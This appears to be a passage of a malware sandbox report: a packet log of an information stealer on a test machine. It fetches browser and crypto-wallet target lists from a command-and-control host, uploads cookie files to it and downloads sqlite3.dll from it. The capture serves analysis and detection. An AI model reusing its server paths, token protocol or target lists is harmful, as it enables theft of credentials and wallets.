0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="message"browsers------BAEBFIIECBGCBGDHCAFC--
Nov 19, 2024 01:01:20.425574064 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 19, 2024 01:01:20.425596952 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 19, 2024 01:01:20.452064991 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFIEHDHIIIECAAKECFH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 49 45 48 44 48 49 49 49 45 43 41 41 4b 45 43 46 48 2d 2d 0d 0a Data Ascii: ------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------DBFIEHDHIIIECAAKECFHContent-Disposition: form-data; name="message"plugins------DBFIEHDHIIIECAAKECFH--
Nov 19, 2024 01:01:20.735686064 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 19, 2024 01:01:20.735702991 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 19, 2024 01:01:20.735714912 CET	224	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxw
Nov 19, 2024 01:01:20.735754967 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Nov 19, 2024 01:01:20.735805035 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Nov 19, 2024 01:01:20.735817909 CET	424	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Nov 19, 2024 01:01:20.736388922 CET	1236	IN	Data Raw: 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 Data Ascii: Z2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25
Nov 19, 2024 01:01:20.736444950 CET	516	IN	Data Raw: 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 Data Ascii: b2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFd
Nov 19, 2024 01:01:20.737957954 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="message"fplugins------BFIDGHDBAFIJJJJKJDHD--
Nov 19, 2024 01:01:21.020842075 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:20 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 19, 2024 01:01:21.037385941 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJK Host: 185.215.113.206 Content-Length: 6459 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 01:01:21.037441969 CET	6459	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 Data Ascii: ------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 19, 2024 01:01:22.723807096 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:01:22.725951910 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:01:22.727924109 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:01:22.730981112 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:01:23.366086960 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 01:01:23.646893024 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 19, 2024 01:01:23.646953106 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49824	185.215.113.206	80	5340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:01:31.710777998 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDBAKEHDHDGCAKKJJE Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="token"460ea8c82ba150333b3c3dff55fbd16f40e3f03927e2a416cb7b19e936cc03a98a408f78------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GHJDBAKEHDHDGCAKKJJE--
Nov 19, 2024 01:01:33.129590988 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:01:33.298445940 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 30 65 61 38 63 38 32 62 61 31 35 30 33 33 33 62 33 63 33 64 66 66 35 35 66 62 64 31 36 66 34 30 65 33 66 30 33 39 32 37 65 32 61 34 31 36 63 62 37 62 31 39 65 39 33 36 63 63 30 33 61 39 38 61 34 30 38 66 37 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; 